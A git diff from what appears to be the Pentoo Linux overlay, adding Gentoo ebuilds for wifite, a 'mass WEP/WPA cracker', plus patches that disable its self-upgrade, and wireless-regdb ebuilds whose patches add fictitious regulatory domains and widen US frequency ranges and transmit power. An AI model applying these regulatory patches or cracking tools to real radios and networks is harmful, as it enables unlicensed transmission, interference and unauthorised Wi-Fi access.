+EBUILD wifite-2.85-r1.ebuild 993 SHA256 7b3f192b242965b57ca9d7e1b919b18c775d759ba8d32ce5056a357a98cec92f SHA512 f172cd3de1740a66c205045905785232e193064de3b19c17356b51b87e63587c3c30932bbfeb1972189813a3e6ee6edab2adf8b8c8a4aa07532e2b96f3c252e9 WHIRLPOOL d6d7a71e1258e5a31e3d3821f150e76a192f01cdaf58041d7ff136230f9b31f23bcbd21ab6a02be47a99f4818564bec24966ef9868fcee9ab82cc73753620b9e
+EBUILD wifite-2.85.ebuild 953 SHA256 84563b0612069ad2afe8d90f0ef8eaa4229a5278d72cd587a99750b2495a35a0 SHA512 29aa2384d587011c8030b69b9652f7d380093d83450c930825ac85d4c2d65b4156eef93fa86fe3f00a6d2ff0e7728603caa389eb4685e78e95cc305342160dd6 WHIRLPOOL b3c8e15bf5c497f9006f8ba5659042509f0541f528151caac09bd508c22ff83767b9cb6ea710593bfaf448e88fa779d6045993d81debab45d5a911ba40c1d44a
+MISC metadata.xml 459 SHA256 37f7bed856328ff87c08e4aa096bf5118363eac80dc97e58ef1a795c94f3bf49 SHA512 750344b29468faed94b6ef57c9c1f31451d5d2f1f82688ab9b9db40797f56db011dec3296aef3e6fad453a292c97e6043d0e91f9b38440855e3c77c239d42dc1 WHIRLPOOL 0387b978b344b0ea5f3ce6b72fdd1e634f351825a2b466f424d8af3a66f0ec3ed921d6520e5319c718ba3b998749878579f7fdcb405dc3b310e32ef509576b65
diff --git a/net-wireless/wifite/files/wifite-2-noupgrade.patch b/net-wireless/wifite/files/wifite-2-noupgrade.patch
new file mode 100644
index 00000000..6d3ff971
--- /dev/null
+++ b/net-wireless/wifite/files/wifite-2-noupgrade.patch
@@ -0,0 +1,11 @@
+--- wifite.orig	2012-05-29 08:53:04.321780000 +0800
++++ wifite	2012-05-29 08:54:03.546779995 +0800
+@@ -521,7 +521,7 @@
+ 						exit_gracefully(1)
+ 					
+ 			elif args[i] == '-upgrade' or args[i] == '-update':
+-				upgrade()
++				print 'The direct upgrade of this binary has been disabled. Please use a package manager instead'
+ 				exit(0)
+ 				
+ 			elif args[i] == '-cracked':
diff --git a/net-wireless/wifite/files/wifite-noupgrade.patch b/net-wireless/wifite/files/wifite-noupgrade.patch
new file mode 100644
index 00000000..2b2d03ff
--- /dev/null
+++ b/net-wireless/wifite/files/wifite-noupgrade.patch
@@ -0,0 +1,21 @@
+--- wifite.orig	2011-04-05 14:12:52.000000000 +0800
++++ wifite	2011-04-05 14:17:12.990000001 +0800
+@@ -1051,7 +1051,7 @@
+ 	print G+".;'  ,;'  ,;'     `;,  `;,  `;,  "
+ 	print G+"::   ::   :   "+GR+"( )"+G+"   :   ::   ::  "+GR+"mass WEP/WPA cracker"
+ 	print G+"':.  ':.  ':. "+GR+"/_\\"+G+" ,:'  ,:'  ,:'  "
+-	print G+" ':.  ':.    "+GR+"/___\\"+G+"    ,:'  ,:'   "+GR+"designed for backtrack4"
++	print G+" ':.  ':.    "+GR+"/___\\"+G+"    ,:'  ,:'   "+GR+"designed for backtrack4, but we like Pentoo"
+ 	print G+"  ':.       "+GR+"/_____\\"+G+"      ,:'     "
+ 	print G+"           "+GR+"/       \\"+G+"             "
+ 	print W
+@@ -1104,8 +1104,7 @@
+ 			
+ 		elif a == '-update' or a == '--update' or a == '-upgrade' or a == '--upgrade':
+ 			# upgrayedd
+-			update()
+-			subprocess.call(['rm','-rf',TEMPDIR])
++			print 'The direct upgrade of this binary has been disabled. Please use a package manager instead'
+ 			sys.exit(0)
+ 		elif a == '-v' or a == '-version' or a == '-V' or a == '--version' or a == 'version':
+ 			print GR+'[+] '+W+'current wifite revision: '+G+'r'+str(REVISION)+W
diff --git a/net-wireless/wifite/metadata.xml b/net-wireless/wifite/metadata.xml
new file mode 100644
index 00000000..625da1aa
--- /dev/null
+++ b/net-wireless/wifite/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>antonspam@pentoo.org</email>
+  </maintainer>
+  <use>
+    <flag name="dict">
+      installes an extra dictionary
+    </flag>
+    <flag name="extra">
+      Enables use of extra functions
+    </flag>
+    <flag name="tk">
+      Enables use of the TK gui
+    </flag>
+  </use>
+</pkgmetadata>
diff --git a/net-wireless/wifite/wifite-0.84.ebuild b/net-wireless/wifite/wifite-0.84.ebuild
new file mode 100644
index 00000000..536dad4e
--- /dev/null
+++ b/net-wireless/wifite/wifite-0.84.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: 
+
+EAPI=3
+PYTHON_DEPEND="2"
+PYTHON_USE_WITH="tk"
+PYTHON_USE_WITH_OPT="tk"
+
+inherit python eutils versionator
+
+AVC=( $(get_version_components) )
+
+DESCRIPTION="Mass WEP/WPA cracker"
+HOMEPAGE="http://code.google.com/p/wifite/"
+SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="dict extra tk"
+
+DEPEND=""
+RDEPEND="net-wireless/aircrack-ng
+	dev-python/pexpect
+	dict? ( sys-apps/cracklib-words )
+	extra? ( app-crypt/pyrit
+		net-wireless/cowpatty
+		net-analyzer/macchanger )
+	tk? ( x11-terms/xterm )"
+
+S=${WORKDIR}/${PN}
+
+src_unpack() {
+	mkdir "${S}"
+	cp "${DISTDIR}"/${A} "${S}/${PN}"
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-noupgrade.patch
+}
+
+src_install() {
+	dobin wifite
+}
diff --git a/net-wireless/wifite/wifite-2.0_beta_p10.ebuild b/net-wireless/wifite/wifite-2.0_beta_p10.ebuild
new file mode 100644
index 00000000..b890ba33
--- /dev/null
+++ b/net-wireless/wifite/wifite-2.0_beta_p10.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: 
+
+EAPI=3
+PYTHON_DEPEND="2"
+PYTHON_USE_WITH="tk"
+PYTHON_USE_WITH_OPT="tk"
+
+inherit python
+
+DESCRIPTION="Mass WEP/WPA cracker"
+HOMEPAGE="http://code.google.com/p/wifite/"
+#SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py"
+# Annoying: github is a temporary location for alpha releases
+SRC_URI="https://github.com/derv82/wifite/raw/4ad0ae3b3d141944d0baf881d739a35c1851e8f5/wifite.py -> ${P}.py"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="dict extra tk"
+
+DEPEND=""
+RDEPEND="net-wireless/aircrack-ng
+	dev-python/pexpect
+	dict? ( sys-apps/cracklib-words )
+	extra? ( app-crypt/pyrit
+		net-wireless/cowpatty
+		net-analyzer/macchanger
+		net-wireless/reaver )
+	tk? ( x11-terms/xterm )"
+
+S=${WORKDIR}/${PN}
+
+src_unpack() {
+	mkdir "${S}"
+	cp "${DISTDIR}"/${A} "${S}/${PN}"
+}
+
+src_install() {
+	dobin wifite
+}
diff --git a/net-wireless/wifite/wifite-2.85-r1.ebuild b/net-wireless/wifite/wifite-2.85-r1.ebuild
new file mode 100644
index 00000000..efd50156
--- /dev/null
+++ b/net-wireless/wifite/wifite-2.85-r1.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: 
+
+EAPI=3
+PYTHON_DEPEND="2"
+#GUI interface is disabled in this version
+#PYTHON_USE_WITH="tk"
+#PYTHON_USE_WITH_OPT="tk"
+
+inherit python eutils versionator
+
+AVC=( $(get_version_components) )
+
+DESCRIPTION="Mass WEP/WPA cracker"
+HOMEPAGE="http://code.google.com/p/wifite/"
+SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="dict extra"
+
+DEPEND=""
+RDEPEND="net-wireless/aircrack-ng
+	dev-python/pexpect
+	dict? ( sys-apps/cracklib-words )
+	extra? ( app-crypt/pyrit
+		net-wireless/cowpatty
+		net-analyzer/macchanger
+		net-wireless/reaver )"
+#	tk? ( x11-terms/xterm )"
+
+S=${WORKDIR}/${PN}
+
+src_unpack() {
+	mkdir "${S}"
+	cp "${DISTDIR}"/${A} "${S}/${PN}"
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-2-noupgrade.patch
+	python_convert_shebangs 2 "${S}"/${PN}
+}
+
+src_install() {
+	dobin wifite
+}
diff --git a/net-wireless/wifite/wifite-2.85.ebuild b/net-wireless/wifite/wifite-2.85.ebuild
new file mode 100644
index 00000000..545d86b2
--- /dev/null
+++ b/net-wireless/wifite/wifite-2.85.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: 
+
+EAPI=3
+PYTHON_DEPEND="2"
+#GUI interface is disabled in this version
+#PYTHON_USE_WITH="tk"
+#PYTHON_USE_WITH_OPT="tk"
+
+inherit python eutils versionator
+
+AVC=( $(get_version_components) )
+
+DESCRIPTION="Mass WEP/WPA cracker"
+HOMEPAGE="http://code.google.com/p/wifite/"
+SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="dict extra"
+
+DEPEND=""
+RDEPEND="net-wireless/aircrack-ng
+	dev-python/pexpect
+	dict? ( sys-apps/cracklib-words )
+	extra? ( app-crypt/pyrit
+		net-wireless/cowpatty
+		net-analyzer/macchanger
+		net-wireless/reaver )"
+#	tk? ( x11-terms/xterm )"
+
+S=${WORKDIR}/${PN}
+
+src_unpack() {
+	mkdir "${S}"
+	cp "${DISTDIR}"/${A} "${S}/${PN}"
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-2-noupgrade.patch
+}
+
+src_install() {
+	dobin wifite
+}
diff --git a/net-wireless/wireless-regdb/Manifest b/net-wireless/wireless-regdb/Manifest
new file mode 100644
index 00000000..7302ff74
--- /dev/null
+++ b/net-wireless/wireless-regdb/Manifest
@@ -0,0 +1,13 @@
+AUX extra-monitor-20090817.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872
+AUX extra-monitor-20091125.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872
+AUX extra-monitor-debug.patch 1036 RMD160 8100c465b61bfd45781cc6531d74614cfab8e929 SHA1 2b91e5367e82356ab72819432696695fa5354b1e SHA256 57f94302847d7a16cbfd7150cfa91ccebfc2ce752a6a41e223ffcb6599d5592a
+AUX extra-monitor.patch 721 RMD160 eecf971cc407b8d34903b3d8667ac93fe86d1876 SHA1 8e2bf69309d6188f2a789180743a72c0f7c74dc2 SHA256 78752000995d1edd69d7584fd98bcde439fb1e1de4ecdfe6eeec4ca7d8d855f9
+DIST wireless-regdb-2009.01.30.tar.bz2 11515 RMD160 56ec08a66db2795afef93271d0c93178ac9130ca SHA1 280935c9428d353a9d50a0bfa533fc187ccfe6cb SHA256 8b86eeab87497b708b2ec590ebf32659244dbfba57d33329ce0310c8564dd75b
+DIST wireless-regdb-2009.03.09.tar.bz2 11855 RMD160 e1f4f9c64ddfcd9374f8ac5327203e1e048a6d10 SHA1 f823eeb0c637fee9c705fc7112b33fc9eb55fa4a SHA256 794c5f7d59cd83ba6fe33ef5a25cd28fa655f395df43b648157ccec2fe5faf35
+DIST wireless-regdb-2009.08.17.tar.bz2 12745 RMD160 21ebefcd8d8aefd3b559f432f0948a763144ded4 SHA1 ab87bfd0b2f26a8e1213da16ce2add47c831ac66 SHA256 6b1e39bec4c1122e5639e979f2632430e41a2acac8ba251a13bf5c953f4775a1
+DIST wireless-regdb-2009.11.25.tar.bz2 12844 RMD160 a129a77e700b42de339e6c1891d51e729349fbe0 SHA1 c8afeffc4ad4f292d43551ce1c5c20e8aa559c34 SHA256 b9d569a41f66323339b7aa203db6e2d8f39c98192f134b5eef2135cf09cd943f
+EBUILD wireless-regdb-20090130-r1.ebuild 1064 RMD160 d428dcb67fc6876fd01dac56c2e60d38738f3349 SHA1 e3693e277f12e3c6a77b1fa0c992f09590b8aef7 SHA256 83446433160c2d15e6a53c4920c31bdf425b91d6d1008a8536c98e9c34121780
+EBUILD wireless-regdb-20090309.ebuild 1006 RMD160 c26e06edb51e763c2fa95af9a38587290282651f SHA1 b94515d5cb3bfe26e5bfc2dbc4d96891bacfe685 SHA256 39e29e13e7eddfb5570cb271f98ba906d0a47b6657dd500936c2d7e9620fce68
+EBUILD wireless-regdb-20090817.ebuild 967 RMD160 3222490393c947c8987b8eaa0cd49afccb571093 SHA1 cb40eafba2712c64848952800866608f6d48f3a5 SHA256 2d55b76432f181ff4493f039758ad28662fb66281205deb7ac391bb00069191d
+EBUILD wireless-regdb-20091125-r1.ebuild 1026 RMD160 1498ca1c83692114a1d0ec0ad7c2bbafed34e5ed SHA1 09bf32b8e6bae577f150c1f14d49aabff1324e4b SHA256 06d1670201529a7a19d2c6c45fe66484cc02cba66fae27156f6806ce81e5944e
+EBUILD wireless-regdb-20091125.ebuild 1047 RMD160 3743bae6a7f8e2b34ca3f5d14f14bf7a9d29859b SHA1 31e45b23b1f41c24ad921505141e673a0cf201b9 SHA256 a237766fe331196ba58fe29ba332495f2924f3e16724430f9d023f2f298e6b81
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
new file mode 100644
index 00000000..9f06e473
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch
@@ -0,0 +1,51 @@
+diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt
+--- wireless-regdb-2009.08.17-orig/db.txt	2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/db.txt	2009-09-07 20:44:51.000000000 -0400
+@@ -579,6 +579,13 @@
+ country VN:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
++country XN:
++	(2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++	(2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
++
+ country YE:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
+diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile
+--- wireless-regdb-2009.08.17-orig/Makefile	2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/Makefile	2009-09-07 20:45:53.000000000 -0400
+@@ -18,8 +18,8 @@
+ 			echo custom-distro; \
+ 		fi)
+ 
+-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
+ 
+ REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \
+ 			echo $(LSB_ID) ; \
+@@ -29,7 +29,7 @@
+ 			echo custom-user; \
+ 		fi)
+ 
+-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
+ REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem
+ 
+ REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem
+@@ -91,8 +91,8 @@
+ # Distributions packagers should do only once:
+ #	make install-distro-key
+ # This will create a private key for you and install it into
+-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-# To make new releaes just do:
++# wireless-regdb-$(LSB_ID).key.priv.pem
++# To make new releases just do:
+ #	make maintainer-clean
+ #	make
+ #	sudo make install
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
new file mode 100644
index 00000000..9f06e473
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch
@@ -0,0 +1,51 @@
+diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt
+--- wireless-regdb-2009.08.17-orig/db.txt	2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/db.txt	2009-09-07 20:44:51.000000000 -0400
+@@ -579,6 +579,13 @@
+ country VN:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
++country XN:
++	(2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++	(2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
++
+ country YE:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
+diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile
+--- wireless-regdb-2009.08.17-orig/Makefile	2009-08-17 09:25:16.000000000 -0400
++++ wireless-regdb-2009.08.17/Makefile	2009-09-07 20:45:53.000000000 -0400
+@@ -18,8 +18,8 @@
+ 			echo custom-distro; \
+ 		fi)
+ 
+-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem
+ 
+ REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \
+ 			echo $(LSB_ID) ; \
+@@ -29,7 +29,7 @@
+ 			echo custom-user; \
+ 		fi)
+ 
+-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem
+ REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem
+ 
+ REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem
+@@ -91,8 +91,8 @@
+ # Distributions packagers should do only once:
+ #	make install-distro-key
+ # This will create a private key for you and install it into
+-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem
+-# To make new releaes just do:
++# wireless-regdb-$(LSB_ID).key.priv.pem
++# To make new releases just do:
+ #	make maintainer-clean
+ #	make
+ #	sudo make install
diff --git a/net-wireless/wireless-regdb/files/extra-monitor-debug.patch b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch
new file mode 100644
index 00000000..bb20f867
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch
@@ -0,0 +1,34 @@
+diff -Naur wireless-regdb-2009.03.09-orig/db.txt wireless-regdb-2009.03.09/db.txt
+--- wireless-regdb-2009.03.09-orig/db.txt	2009-03-12 09:53:34.000000000 -0400
++++ wireless-regdb-2009.03.09/db.txt	2009-03-12 10:27:39.000000000 -0400
+@@ -551,11 +551,16 @@
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
+ country US:
+-	(2402 - 2472 @ 40), (3, 27)
++	(2182 - 2402 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS
++	(2402 - 2472 @ 40), (6, 30)
++	(2472 - 3500 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS
++	(3500 - 5170 @ 40), (3, 17), PASSIVE-SCAN, NO-IBSS
+ 	(5170 - 5250 @ 40), (3, 17)
+ 	(5250 - 5330 @ 40), (3, 20), DFS
++	(5330 - 5490 @ 40), (3, 20), PASSIVE-SCAN, NO-IBSS
+ 	(5490 - 5710 @ 40), (3, 20), DFS
+ 	(5735 - 5835 @ 40), (3, 30)
++	(5835 - 7010 @ 40), (3, 30), PASSIVE-SCAN, NO-IBSS
+ 
+ country UY:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+@@ -575,6 +580,12 @@
+ country VN:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
++country XN:
++	(2182 - 7010 @ 40), (N/A, 40)
++
++country XX:
++	(2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS
++
+ country YE:
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
diff --git a/net-wireless/wireless-regdb/files/extra-monitor.patch b/net-wireless/wireless-regdb/files/extra-monitor.patch
new file mode 100644
index 00000000..b026a2f1
--- /dev/null
+++ b/net-wireless/wireless-regdb/files/extra-monitor.patch
@@ -0,0 +1,19 @@
+diff -Naur wireless-regdb-2009.01.30/db.txt wireless-regdb-2009.01.30-zc/db.txt
+--- wireless-regdb-2009.01.30/db.txt	2009-02-10 15:54:30.000000000 -0500
++++ wireless-regdb-2009.01.30-zc/db.txt	2009-02-10 15:56:59.000000000 -0500
+@@ -540,11 +540,15 @@
+ 	(2402 - 2482 @ 40), (N/A, 20)
+ 
+ country US:
++	(2182 - 2402 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ 	(2402 - 2472 @ 40), (3, 27)
++	(2472 - 5170 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ 	(5170 - 5250 @ 40), (3, 17)
+ 	(5250 - 5330 @ 40), (3, 20), DFS
++	(5330 - 5490 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ 	(5490 - 5710 @ 40), (3, 20), DFS
+ 	(5735 - 5835 @ 40), (3, 30)
++	(5835 - 7000 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS
+ 
+ country UY:
+ 	(2402 - 2482 @ 40), (N/A, 20)
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
new file mode 100644
index 00000000..6b5e521b
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	dev-lang/python
+	dev-python/m2crypto"
+#RDEPEND="${DEPEND}" It doesn't actually have runtime deps afaik
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+    unpack ${A}
+    cd "${S}"
+    epatch "${FILESDIR}"/extra-monitor.patch
+    emake maintainer-clean || die "make maintainer-clean failed"
+}
+
+src_compile() {
+	emake key.priv.pem || die "make key.priv.pem failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	insinto /usr/lib/crda/
+	doins regulatory.bin
+	doins key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
new file mode 100644
index 00000000..e5b84e8a
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	dev-lang/python
+	dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+    unpack ${A}
+    cd "${S}"
+    epatch "${FILESDIR}"/extra-monitor-debug.patch
+    emake maintainer-clean || die "make maintainer-clean failed"
+}
+
+src_compile() {
+	emake key.priv.pem || die "make key.priv.pem failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	insinto /usr/lib/crda/
+	doins regulatory.bin
+	doins key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
new file mode 100644
index 00000000..867166e0
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	dev-lang/python
+	dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+    unpack ${A}
+    cd "${S}"
+    epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+src_compile() {
+	emake install-distro-key || die "make install-distro-key failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	insinto /usr/lib/crda/
+	doins regulatory.bin
+	doins custom-distro.key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
new file mode 100644
index 00000000..c8060c71
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	dev-lang/python
+	dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+	epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps
+
+src_compile() {
+	emake install-distro-key || die "make install-distro-key failed"
+	emake || die "emake failed"
+}
+
+src_install() {
+	insinto /usr/$(get_libdir)/crda/
+	doins regulatory.bin
+	doins *.key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
new file mode 100644
index 00000000..9d8166d6
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	dev-lang/python
+	dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+    unpack ${A}
+    cd "${S}"
+    epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps
+
+src_compile() {
+	emake install-distro-key || die "make install-distro-key failed"
